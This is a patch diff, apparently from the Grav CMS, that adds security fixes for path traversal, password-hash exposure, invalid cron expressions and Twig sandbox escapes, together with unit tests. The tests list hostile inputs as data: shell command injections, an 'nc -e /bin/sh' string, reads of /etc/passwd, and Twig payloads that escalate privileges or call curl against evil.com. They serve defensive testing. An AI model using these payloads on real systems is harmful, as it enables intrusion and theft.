if (preg_match($pattern, $realpath)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return file_get_contents($realpath);
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -49,6 +49,7 @@ use function trim;
|
||||
use function uniqid;
|
||||
use function unlink;
|
||||
use function ltrim;
|
||||
use const GRAV_PHP_MIN;
|
||||
use const GRAV_ROOT;
|
||||
use const GLOB_ONLYDIR;
|
||||
use const JSON_PRETTY_PRINT;
|
||||
@@ -206,6 +207,17 @@ class SafeUpgradeService
|
||||
throw new InvalidArgumentException(sprintf('Extracted package path "%s" is not a directory.', $extractedPath));
|
||||
}
|
||||
|
||||
// Check PHP requirements from the package before proceeding
|
||||
$phpCheck = $this->checkPackagePhpRequirements($extractedPath);
|
||||
if (!$phpCheck['meets_requirements']) {
|
||||
throw new RuntimeException(sprintf(
|
||||
'PHP version requirement not met. Grav %s requires PHP %s or higher, but you are running PHP %s.',
|
||||
$targetVersion,
|
||||
$phpCheck['required_version'],
|
||||
PHP_VERSION
|
||||
));
|
||||
}
|
||||
|
||||
$stageId = uniqid('stage-', false);
|
||||
$stagePath = $this->stagingRoot . DIRECTORY_SEPARATOR . $stageId;
|
||||
$packagePath = $stagePath . DIRECTORY_SEPARATOR . 'package';
|
||||
@@ -1216,4 +1228,54 @@ class SafeUpgradeService
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check PHP requirements from the package's defines.php file.
|
||||
*
|
||||
* @param string $extractedPath Path to extracted package
|
||||
* @return array{meets_requirements: bool, required_version: string, current_version: string}
|
||||
*/
|
||||
private function checkPackagePhpRequirements(string $extractedPath): array
|
||||
{
|
||||
$result = [
|
||||
'meets_requirements' => true,
|
||||
'required_version' => GRAV_PHP_MIN,
|
||||
'current_version' => PHP_VERSION,
|
||||
];
|
||||
|
||||
// Look for defines.php in the package (could be at root or in system/)
|
||||
$definesPath = null;
|
||||
$candidates = [
|
||||
$extractedPath . DIRECTORY_SEPARATOR . 'system' . DIRECTORY_SEPARATOR . 'defines.php',
|
||||
$extractedPath . DIRECTORY_SEPARATOR . 'defines.php',
|
||||
];
|
||||
|
||||
foreach ($candidates as $candidate) {
|
||||
if (is_file($candidate)) {
|
||||
$definesPath = $candidate;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if ($definesPath === null) {
|
||||
// No defines.php found, fall back to current GRAV_PHP_MIN
|
||||
$result['meets_requirements'] = version_compare(PHP_VERSION, GRAV_PHP_MIN, '>=');
|
||||
return $result;
|
||||
}
|
||||
|
||||
// Read and parse the defines.php to extract GRAV_PHP_MIN
|
||||
$content = file_get_contents($definesPath);
|
||||
if ($content === false) {
|
||||
$result['meets_requirements'] = version_compare(PHP_VERSION, GRAV_PHP_MIN, '>=');
|
||||
return $result;
|
||||
}
|
||||
|
||||
// Match patterns like: define('GRAV_PHP_MIN', '8.3.0'); or define("GRAV_PHP_MIN", "8.3.0");
|
||||
if (preg_match('/define\s*\(\s*[\'"]GRAV_PHP_MIN[\'"]\s*,\s*[\'"]([^"\']+)[\'"]\s*\)/', $content, $matches)) {
|
||||
$result['required_version'] = $matches[1];
|
||||
$result['meets_requirements'] = version_compare(PHP_VERSION, $matches[1], '>=');
|
||||
}
|
||||
|
||||
return $result;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -128,8 +128,20 @@ class User extends Data implements UserInterface
|
||||
if ($file) {
|
||||
$username = $this->filterUsername((string)$this->get('username'));
|
||||
|
||||
// Validate username to prevent path traversal attacks
|
||||
if (!self::isValidUsername($username)) {
|
||||
throw new \RuntimeException('Invalid username: contains invalid characters or sequences');
|
||||
}
|
||||
|
||||
if (!$file->filename()) {
|
||||
$locator = Grav::instance()['locator'];
|
||||
|
||||
// Check if a user with this username already exists (prevent overwriting)
|
||||
$existingFile = $locator->findResource('account://' . $username . YAML_EXT);
|
||||
if ($existingFile) {
|
||||
throw new \RuntimeException('User account with this username already exists');
|
||||
}
|
||||
|
||||
$file->filename($locator->findResource('account://' . $username . YAML_EXT, true, true));
|
||||
}
|
||||
|
||||
@@ -304,6 +316,22 @@ class User extends Data implements UserInterface
|
||||
return parent::count();
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritdoc}
|
||||
* Override to filter out sensitive fields like password hashes
|
||||
*/
|
||||
public function jsonSerialize(): array
|
||||
{
|
||||
$items = parent::jsonSerialize();
|
||||
|
||||
// Security: Remove sensitive fields that should never be exposed to frontend
|
||||
unset($items['hashed_password']);
|
||||
unset($items['secret']); // 2FA secret
|
||||
unset($items['twofa_secret']); // Alternative 2FA field name
|
||||
|
||||
return $items;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $username
|
||||
* @return string
|
||||
@@ -313,6 +341,37 @@ class User extends Data implements UserInterface
|
||||
return mb_strtolower($username);
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates a username to prevent path traversal and other attacks.
|
||||
*
|
||||
* @param string $username
|
||||
* @return bool
|
||||
*/
|
||||
public static function isValidUsername(string $username): bool
|
||||
{
|
||||
// Username must not be empty
|
||||
if (!$username) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Username must not contain filesystem-dangerous characters: \ / ? * : ; { } or newlines
|
||||
if (!preg_match('/^[^\\/?*:;{}\\\\\\n]+$/u', $username)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Username must not contain path traversal sequences (..)
|
||||
if (str_contains($username, '..')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Username must not start with a dot (hidden files)
|
||||
if (str_starts_with($username, '.')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return string|null
|
||||
*/
|
||||
|
||||
@@ -691,6 +691,17 @@ abstract class Utils
|
||||
header('Content-Disposition: attachment; filename="' . ($options['download_name'] ?? $file_parts['basename']) . '"');
|
||||
}
|
||||
|
||||
if ($grav['config']->get('system.cache.enabled')) {
|
||||
$expires = $options['expires'] ?? $grav['config']->get('system.pages.expires');
|
||||
if ($expires > 0) {
|
||||
$expires_date = gmdate('D, d M Y H:i:s T', time() + $expires);
|
||||
header('Cache-Control: max-age=' . $expires);
|
||||
header('Expires: ' . $expires_date);
|
||||
header('Pragma: cache');
|
||||
}
|
||||
header('Last-Modified: ' . gmdate('D, d M Y H:i:s T', filemtime($file)));
|
||||
}
|
||||
|
||||
// multipart-download and download resuming support
|
||||
if (isset($_SERVER['HTTP_RANGE'])) {
|
||||
[$a, $range] = explode('=', (string) $_SERVER['HTTP_RANGE'], 2);
|
||||
@@ -703,7 +714,7 @@ abstract class Utils
|
||||
$range_end = (int)$range_end;
|
||||
}
|
||||
$new_length = $range_end - $range + 1;
|
||||
header('HTTP/1.1 206 Partial Content');
|
||||
http_response_code(206);
|
||||
header("Content-Length: {$new_length}");
|
||||
header("Content-Range: bytes {$range}-{$range_end}/{$size}");
|
||||
} else {
|
||||
@@ -712,19 +723,10 @@ abstract class Utils
|
||||
header('Content-Length: ' . $size);
|
||||
|
||||
if ($grav['config']->get('system.cache.enabled')) {
|
||||
$expires = $options['expires'] ?? $grav['config']->get('system.pages.expires');
|
||||
if ($expires > 0) {
|
||||
$expires_date = gmdate('D, d M Y H:i:s T', time() + $expires);
|
||||
header('Cache-Control: max-age=' . $expires);
|
||||
header('Expires: ' . $expires_date);
|
||||
header('Pragma: cache');
|
||||
}
|
||||
header('Last-Modified: ' . gmdate('D, d M Y H:i:s T', filemtime($file)));
|
||||
|
||||
// Return 304 Not Modified if the file is already cached in the browser
|
||||
if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) &&
|
||||
strtotime((string) $_SERVER['HTTP_IF_MODIFIED_SINCE']) >= filemtime($file)) {
|
||||
header('HTTP/1.1 304 Not Modified');
|
||||
http_response_code(304);
|
||||
exit();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -215,9 +215,8 @@ class SchedulerCommand extends GravCommand
|
||||
$job_state = $job_states[$job->getId()];
|
||||
$error = isset($job_state['error']) ? trim((string) $job_state['error']) : false;
|
||||
|
||||
/** @var CronExpression $expression */
|
||||
/** @var CronExpression|null $expression */
|
||||
$expression = $job->getCronExpression();
|
||||
$next_run = $expression->getNextRunDate();
|
||||
|
||||
$row = [];
|
||||
$row[] = $job->getId();
|
||||
@@ -226,7 +225,13 @@ class SchedulerCommand extends GravCommand
|
||||
} else {
|
||||
$row[] = '<yellow>Never</yellow>';
|
||||
}
|
||||
$row[] = '<yellow>' . $next_run->format('Y-m-d H:i') . '</yellow>';
|
||||
|
||||
if ($expression) {
|
||||
$next_run = $expression->getNextRunDate();
|
||||
$row[] = '<yellow>' . $next_run->format('Y-m-d H:i') . '</yellow>';
|
||||
} else {
|
||||
$row[] = '<error>Invalid cron</error>';
|
||||
}
|
||||
|
||||
if ($error) {
|
||||
$row[] = "<error>{$error}</error>";
|
||||
|
||||
@@ -479,6 +479,29 @@ class FlexDirectory implements FlexDirectoryInterface
|
||||
return $cache;
|
||||
}
|
||||
|
||||
/**
|
||||
* Encode a storage key for use as a cache key.
|
||||
* Symfony cache reserves characters: {}()/\@:
|
||||
*
|
||||
* @param string $key
|
||||
* @return string
|
||||
*/
|
||||
protected function encodeCacheKey(string $key): string
|
||||
{
|
||||
return str_replace(['/', '\\', '@', ':'], ['__SLASH__', '__BSLASH__', '__AT__', '__COLON__'], $key);
|
||||
}
|
||||
|
||||
/**
|
||||
* Decode a cache key back to the original storage key.
|
||||
*
|
||||
* @param string $key
|
||||
* @return string
|
||||
*/
|
||||
protected function decodeCacheKey(string $key): string
|
||||
{
|
||||
return str_replace(['__SLASH__', '__BSLASH__', '__AT__', '__COLON__'], ['/', '\\', '@', ':'], $key);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return $this
|
||||
*/
|
||||
@@ -720,7 +743,12 @@ class FlexDirectory implements FlexDirectoryInterface
|
||||
//$debugger->addMessage(sprintf('Flex: Caching %d %s', \count($entries), $this->type), 'debug');
|
||||
}
|
||||
try {
|
||||
$cache->setMultiple($updated);
|
||||
// Encode storage keys for cache compatibility (Symfony cache reserves certain characters)
|
||||
$encodedUpdated = [];
|
||||
foreach ($updated as $key => $value) {
|
||||
$encodedUpdated[$this->encodeCacheKey($key)] = $value;
|
||||
}
|
||||
$cache->setMultiple($encodedUpdated);
|
||||
} catch (InvalidArgumentException $e) {
|
||||
$debugger->addException($e);
|
||||
// TODO: log about the issue.
|
||||
@@ -752,7 +780,15 @@ class FlexDirectory implements FlexDirectoryInterface
|
||||
|
||||
$debugger->startTimer('flex-objects', sprintf('Flex: Loading %d %s', $loading, $this->type));
|
||||
|
||||
$fetched = (array)$cache->getMultiple($fetch);
|
||||
// Encode storage keys for cache compatibility (Symfony cache reserves certain characters)
|
||||
$encodedFetch = array_map([$this, 'encodeCacheKey'], $fetch);
|
||||
$encodedFetched = (array)$cache->getMultiple($encodedFetch);
|
||||
|
||||
// Decode the keys back to original storage keys
|
||||
foreach ($encodedFetched as $encodedKey => $value) {
|
||||
$fetched[$this->decodeCacheKey($encodedKey)] = $value;
|
||||
}
|
||||
|
||||
if ($fetched) {
|
||||
$index = $this->loadIndex('storage_key');
|
||||
|
||||
|
||||
@@ -220,6 +220,39 @@ abstract class AbstractFilesystemStorage implements FlexStorageInterface
|
||||
*/
|
||||
protected function validateKey(string $key): bool
|
||||
{
|
||||
return $key && (bool) preg_match('/^[^\\/?*:;{}\\\\\\n]+$/u', $key);
|
||||
// Key must not be empty
|
||||
if (!$key) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Key must not contain filesystem-dangerous characters: \ / ? * : ; { } or newlines
|
||||
if (!preg_match('/^[^\\/?*:;{}\\\\\\n]+$/u', $key)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Key must not contain path traversal sequences (..)
|
||||
if (str_contains($key, '..')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Key must not start with a dot (hidden files)
|
||||
if (str_starts_with($key, '.')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates a key and throws an exception if invalid.
|
||||
*
|
||||
* @param string $key
|
||||
* @throws \InvalidArgumentException
|
||||
*/
|
||||
public function assertValidKey(string $key): void
|
||||
{
|
||||
if (!$this->validateKey($key)) {
|
||||
throw new \InvalidArgumentException(sprintf('Invalid storage key: "%s"', $key));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -419,6 +419,9 @@ class FolderStorage extends AbstractFilesystemStorage
|
||||
|
||||
$key = $this->normalizeKey($key);
|
||||
|
||||
// Validate the key to prevent path traversal and other attacks
|
||||
$this->assertValidKey($key);
|
||||
|
||||
// Check if the row already exists and if the key has been changed.
|
||||
$oldKey = $row['__META']['storage_key'] ?? null;
|
||||
if (is_string($oldKey) && $oldKey !== $key) {
|
||||
|
||||
225
tests/unit/Grav/Common/Security/AdminSecurityTest.php
Normal file
225
tests/unit/Grav/Common/Security/AdminSecurityTest.php
Normal file
@@ -0,0 +1,225 @@
|
||||
<?php
|
||||
|
||||
use Grav\Common\Scheduler\Job;
|
||||
|
||||
/**
|
||||
* Class AdminSecurityTest
|
||||
*
|
||||
* Tests for admin security fixes.
|
||||
* Covers: GHSA-x62q-p736-3997 (cron DoS), GHSA-gq3g-666w-7h85 (password hash exposure)
|
||||
*
|
||||
* Naming convention: test{Method}_{GHSA_ID}_{description}
|
||||
*/
|
||||
class AdminSecurityTest extends \PHPUnit\Framework\TestCase
|
||||
{
|
||||
// =========================================================================
|
||||
// GHSA-x62q-p736-3997: DoS via Invalid Cron Expression
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAx62q_InvalidCronExpressions
|
||||
*/
|
||||
public function testIsValidCronExpression_GHSAx62q_RejectsInvalidCron(string $expression, string $description): void
|
||||
{
|
||||
$result = Job::isValidCronExpression($expression);
|
||||
self::assertFalse($result, "Should reject invalid cron expression: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAx62q_InvalidCronExpressions(): array
|
||||
{
|
||||
return [
|
||||
// Malformed expressions that could cause DoS
|
||||
["'", 'Single quote'],
|
||||
['"', 'Double quote'],
|
||||
['`', 'Backtick'],
|
||||
['\\', 'Backslash'],
|
||||
|
||||
// Invalid field counts
|
||||
['*', 'Single asterisk (too few fields)'],
|
||||
['* *', 'Two fields (too few)'],
|
||||
['* * *', 'Three fields (too few)'],
|
||||
['* * * *', 'Four fields (too few)'],
|
||||
['* * * * * * *', 'Seven fields (too many)'],
|
||||
|
||||
// Invalid ranges
|
||||
['60 * * * *', 'Invalid minute (60)'],
|
||||
['-1 * * * *', 'Negative minute'],
|
||||
['* 25 * * *', 'Invalid hour (25)'],
|
||||
['* * 32 * *', 'Invalid day (32)'],
|
||||
['* * * 13 *', 'Invalid month (13)'],
|
||||
['* * * * 8', 'Invalid day of week (8)'],
|
||||
|
||||
// Malformed syntax
|
||||
['* * * * * extra', 'Extra text'],
|
||||
['*/* * * * *', 'Double slash'],
|
||||
['*-* * * * *', 'Invalid range'],
|
||||
['a * * * *', 'Letter in field'],
|
||||
['* b * * *', 'Letter in field 2'],
|
||||
|
||||
// Empty/whitespace
|
||||
['', 'Empty string'],
|
||||
[' ', 'Only whitespace'],
|
||||
["\t", 'Tab character'],
|
||||
["\n", 'Newline'],
|
||||
|
||||
// Injection attempts
|
||||
['* * * * *; rm -rf /', 'Command injection'],
|
||||
['$(whoami)', 'Shell expansion'],
|
||||
['* * * * * | cat /etc/passwd', 'Pipe injection'],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAx62q_ValidCronExpressions
|
||||
*/
|
||||
public function testIsValidCronExpression_GHSAx62q_AcceptsValidCron(string $expression, string $description): void
|
||||
{
|
||||
$result = Job::isValidCronExpression($expression);
|
||||
self::assertTrue($result, "Should accept valid cron expression: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAx62q_ValidCronExpressions(): array
|
||||
{
|
||||
return [
|
||||
// Standard expressions
|
||||
['* * * * *', 'Every minute'],
|
||||
['0 * * * *', 'Every hour'],
|
||||
['0 0 * * *', 'Daily at midnight'],
|
||||
['0 0 1 * *', 'Monthly on 1st'],
|
||||
['0 0 * * 0', 'Weekly on Sunday'],
|
||||
|
||||
// Specific times
|
||||
['30 4 * * *', '4:30 AM daily'],
|
||||
['0 9 * * 1-5', '9 AM weekdays'],
|
||||
['0 12 15 * *', 'Noon on 15th'],
|
||||
|
||||
// Ranges and steps
|
||||
['*/5 * * * *', 'Every 5 minutes'],
|
||||
['0 */2 * * *', 'Every 2 hours'],
|
||||
['0 0 */3 * *', 'Every 3 days'],
|
||||
['0 0 1 */2 *', 'Every 2 months'],
|
||||
|
||||
// Multiple values
|
||||
['0 9,17 * * *', '9 AM and 5 PM'],
|
||||
['0 0 1,15 * *', '1st and 15th'],
|
||||
['0 0 * * 0,6', 'Weekends'],
|
||||
|
||||
// Range expressions
|
||||
['0 9-17 * * *', '9 AM to 5 PM hourly'],
|
||||
['* * * 1-6 *', 'Jan through June'],
|
||||
['0 0 * * 1-5', 'Monday through Friday'],
|
||||
|
||||
// Day of week names (if supported by library)
|
||||
['0 0 * * SUN', 'Sunday by name'],
|
||||
['0 0 * * MON-FRI', 'Weekdays by name'],
|
||||
];
|
||||
}
|
||||
|
||||
public function testGetCronExpression_GHSAx62q_ReturnsNullForInvalid(): void
|
||||
{
|
||||
// Create a Job with an invalid cron expression
|
||||
$job = new Job('test_command');
|
||||
|
||||
// Use reflection to set the 'at' property to an invalid value
|
||||
$reflection = new ReflectionClass($job);
|
||||
$property = $reflection->getProperty('at');
|
||||
$property->setAccessible(true);
|
||||
$property->setValue($job, "'invalid");
|
||||
|
||||
// getCronExpression should return null instead of throwing
|
||||
$result = $job->getCronExpression();
|
||||
self::assertNull($result, 'getCronExpression should return null for invalid expression');
|
||||
}
|
||||
|
||||
public function testGetCronExpression_GHSAx62q_ReturnsCronExpressionForValid(): void
|
||||
{
|
||||
$job = new Job('test_command');
|
||||
|
||||
// Use reflection to set a valid cron expression
|
||||
$reflection = new ReflectionClass($job);
|
||||
$property = $reflection->getProperty('at');
|
||||
$property->setAccessible(true);
|
||||
$property->setValue($job, '* * * * *');
|
||||
|
||||
$result = $job->getCronExpression();
|
||||
self::assertNotNull($result, 'getCronExpression should return CronExpression for valid expression');
|
||||
self::assertInstanceOf(\Cron\CronExpression::class, $result);
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-gq3g-666w-7h85: Password Hash Exposure
|
||||
// These tests verify that sensitive fields are not exposed in serialization
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* Test that UserObject jsonSerialize filters sensitive fields
|
||||
* Note: This requires a more complex setup with Grav fixtures
|
||||
* For now, we verify the method exists and filters the expected fields
|
||||
*/
|
||||
public function testJsonSerialize_GHSAgq3g_MethodExists(): void
|
||||
{
|
||||
// Verify the UserObject class has the jsonSerialize override
|
||||
$reflection = new ReflectionClass(\Grav\Common\Flex\Types\Users\UserObject::class);
|
||||
|
||||
self::assertTrue(
|
||||
$reflection->hasMethod('jsonSerialize'),
|
||||
'UserObject should have jsonSerialize method'
|
||||
);
|
||||
|
||||
// Verify it's declared in UserObject (not just inherited)
|
||||
$method = $reflection->getMethod('jsonSerialize');
|
||||
self::assertEquals(
|
||||
\Grav\Common\Flex\Types\Users\UserObject::class,
|
||||
$method->getDeclaringClass()->getName(),
|
||||
'jsonSerialize should be declared in UserObject'
|
||||
);
|
||||
}
|
||||
|
||||
public function testJsonSerialize_GHSAgq3g_DataUserMethodExists(): void
|
||||
{
|
||||
// Verify the DataUser\User class has the jsonSerialize override
|
||||
$reflection = new ReflectionClass(\Grav\Common\User\DataUser\User::class);
|
||||
|
||||
self::assertTrue(
|
||||
$reflection->hasMethod('jsonSerialize'),
|
||||
'DataUser\\User should have jsonSerialize method'
|
||||
);
|
||||
|
||||
// Verify it's declared in User (not just inherited from Data)
|
||||
$method = $reflection->getMethod('jsonSerialize');
|
||||
self::assertEquals(
|
||||
\Grav\Common\User\DataUser\User::class,
|
||||
$method->getDeclaringClass()->getName(),
|
||||
'jsonSerialize should be declared in DataUser\\User'
|
||||
);
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Edge Cases
|
||||
// =========================================================================
|
||||
|
||||
public function testIsValidCronExpression_EdgeCase_WhitespaceHandling(): void
|
||||
{
|
||||
// Extra whitespace should not affect valid expressions
|
||||
// Note: behavior depends on the cron library
|
||||
self::assertTrue(Job::isValidCronExpression('0 0 * * *'), 'Standard spacing');
|
||||
|
||||
// Leading/trailing whitespace - depends on library
|
||||
// Just verify it doesn't throw
|
||||
$result = Job::isValidCronExpression(' * * * * * ');
|
||||
self::assertIsBool($result, 'Should return bool for whitespace-padded expression');
|
||||
}
|
||||
|
||||
public function testIsValidCronExpression_EdgeCase_SpecialCharacters(): void
|
||||
{
|
||||
// These should all be invalid due to special characters
|
||||
$specialChars = ['@', '#', '$', '%', '^', '&', '(', ')', '[', ']', '{', '}', '<', '>'];
|
||||
|
||||
foreach ($specialChars as $char) {
|
||||
self::assertFalse(
|
||||
Job::isValidCronExpression($char . ' * * * *'),
|
||||
"Should reject expression with special char: $char"
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
458
tests/unit/Grav/Common/Security/CleanDangerousTwigTest.php
Normal file
458
tests/unit/Grav/Common/Security/CleanDangerousTwigTest.php
Normal file
@@ -0,0 +1,458 @@
|
||||
<?php
|
||||
|
||||
use Grav\Common\Security;
|
||||
|
||||
/**
|
||||
* Class CleanDangerousTwigTest
|
||||
*
|
||||
* Tests for Security::cleanDangerousTwig() method.
|
||||
* Covers SSTI sandbox fixes: GHSA-662m, GHSA-858q, GHSA-8535, GHSA-gjc5, GHSA-52hh
|
||||
*
|
||||
* Naming convention: test{Method}_{GHSA_ID}_{description}
|
||||
*/
|
||||
class CleanDangerousTwigTest extends \PHPUnit\Framework\TestCase
|
||||
{
|
||||
/**
|
||||
* Reset static cache before each test to ensure clean state
|
||||
*/
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
// Reset the static pattern cache using reflection
|
||||
$reflection = new ReflectionClass(Security::class);
|
||||
|
||||
$properties = [
|
||||
'dangerousTwigFunctionsPattern',
|
||||
'dangerousTwigPropertiesPattern',
|
||||
'dangerousFunctionCallsPattern',
|
||||
'dangerousJoinPattern'
|
||||
];
|
||||
|
||||
foreach ($properties as $prop) {
|
||||
if ($reflection->hasProperty($prop)) {
|
||||
$property = $reflection->getProperty($prop);
|
||||
$property->setAccessible(true);
|
||||
$property->setValue(null, null);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-662m-56v4-3r8f: SSTI sandbox bypass via nested evaluate_twig
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSA662m_NestedEvaluateTwig
|
||||
*/
|
||||
public function testCleanDangerousTwig_GHSA662m_BlocksNestedEvaluateTwig(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSA662m_NestedEvaluateTwig(): array
|
||||
{
|
||||
return [
|
||||
['{{ evaluate_twig("test") }}', 'Direct evaluate_twig call'],
|
||||
['{% set x = evaluate_twig(user_input) %}', 'evaluate_twig in set block'],
|
||||
['{{ evaluate("test") }}', 'evaluate function'],
|
||||
['{{ evaluate_twig(form.value("name")) }}', 'evaluate_twig with form value'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-858q-77wx-hhx6: Privilege escalation via grav.user/scheduler
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSA858q_PrivilegeEscalation
|
||||
*/
|
||||
public function testCleanDangerousTwig_GHSA858q_BlocksPrivilegeEscalation(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSA858q_PrivilegeEscalation(): array
|
||||
{
|
||||
return [
|
||||
// User modification attacks
|
||||
["{{ grav.user.update({'access':{'admin':{'super':true}}}) }}", 'grav.user.update privilege escalation'],
|
||||
['{{ grav.user.save() }}', 'grav.user.save call'],
|
||||
|
||||
// Scheduler RCE attacks
|
||||
['{{ grav.scheduler.addCommand("curl", ["http://evil.com"]) }}', 'scheduler.addCommand'],
|
||||
['{{ grav.scheduler.run() }}', 'scheduler.run'],
|
||||
['{{ grav.scheduler.save() }}', 'scheduler.save'],
|
||||
['{% set s = grav.scheduler %}', 'Direct scheduler access'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-8535-hvm8-2hmv: Context leak via _context access
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSA8535_ContextLeak
|
||||
*/
|
||||
public function testCleanDangerousTwig_GHSA8535_BlocksContextLeak(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSA8535_ContextLeak(): array
|
||||
{
|
||||
return [
|
||||
['{{ _context }}', 'Direct _context access'],
|
||||
['{{ _context|json_encode }}', '_context with filter'],
|
||||
['{% for key, value in _context %}{{ key }}{% endfor %}', '_context iteration'],
|
||||
['{{ _self }}', '_self access'],
|
||||
['{{ _charset }}', '_charset access'],
|
||||
['{{ dump(_context) }}', 'dump with _context'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-gjc5-8cfh-653x: Sandbox bypass via config.set
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAgjc5_ConfigBypass
|
||||
*/
|
||||
public function testCleanDangerousTwig_GHSAgjc5_BlocksConfigBypass(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAgjc5_ConfigBypass(): array
|
||||
{
|
||||
return [
|
||||
["{{ grav.config.set('system.twig.safe_functions', ['system']) }}", 'grav.config.set safe_functions'],
|
||||
["{{ grav.twig.twig_vars['config'] }}", 'twig_vars config access'],
|
||||
['{{ twig_vars["config"] }}', 'Direct twig_vars access'],
|
||||
["{{ something.safe_functions }}", '.safe_functions access'],
|
||||
["{{ something.safe_filters }}", '.safe_filters access'],
|
||||
["{{ x.undefined_functions }}", '.undefined_functions access'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-52hh-vxfw-p6rg: CVE-2024-28116 bypass via string concatenation
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSA52hh_StringConcatBypass
|
||||
*/
|
||||
public function testCleanDangerousTwig_GHSA52hh_BlocksStringConcatBypass(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSA52hh_StringConcatBypass(): array
|
||||
{
|
||||
// These test the specific suspicious fragments we check for in join() operations
|
||||
return [
|
||||
["{{ ['safe_func', 'tions']|join('') }}", 'join to construct safe_functions'],
|
||||
["{{ ['safe_filt', 'ers']|join }}", 'join to construct safe_filters'],
|
||||
["{{ ['_context', 'var']|join('') }}", 'join with _context fragment'],
|
||||
["{{ ['scheduler', '.run']|join('') }}", 'join with scheduler fragment'],
|
||||
["{{ ['registerUndefined', 'Callback']|join('') }}", 'join with registerUndefined fragment'],
|
||||
["{{ ['undefined_', 'functions']|join('') }}", 'join with undefined_ fragment'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Dangerous PHP Functions (Code Execution)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerDangerousCodeExecution
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksCodeExecution(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerDangerousCodeExecution(): array
|
||||
{
|
||||
return [
|
||||
['{{ exec("whoami") }}', 'exec function'],
|
||||
['{{ shell_exec("ls") }}', 'shell_exec function'],
|
||||
['{{ system("id") }}', 'system function'],
|
||||
['{{ passthru("cat /etc/passwd") }}', 'passthru function'],
|
||||
['{{ popen("nc -e /bin/sh", "r") }}', 'popen function'],
|
||||
['{{ proc_open("sh", [], $pipes) }}', 'proc_open function'],
|
||||
['{{ pcntl_exec("/bin/sh") }}', 'pcntl_exec function'],
|
||||
['{{ eval("phpinfo();") }}', 'eval function'],
|
||||
['{{ assert("system(\'id\')") }}', 'assert function'],
|
||||
['{{ create_function("", "system(\'id\');") }}', 'create_function'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Dangerous PHP Functions (File Operations)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerDangerousFileOperations
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksFileOperations(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerDangerousFileOperations(): array
|
||||
{
|
||||
return [
|
||||
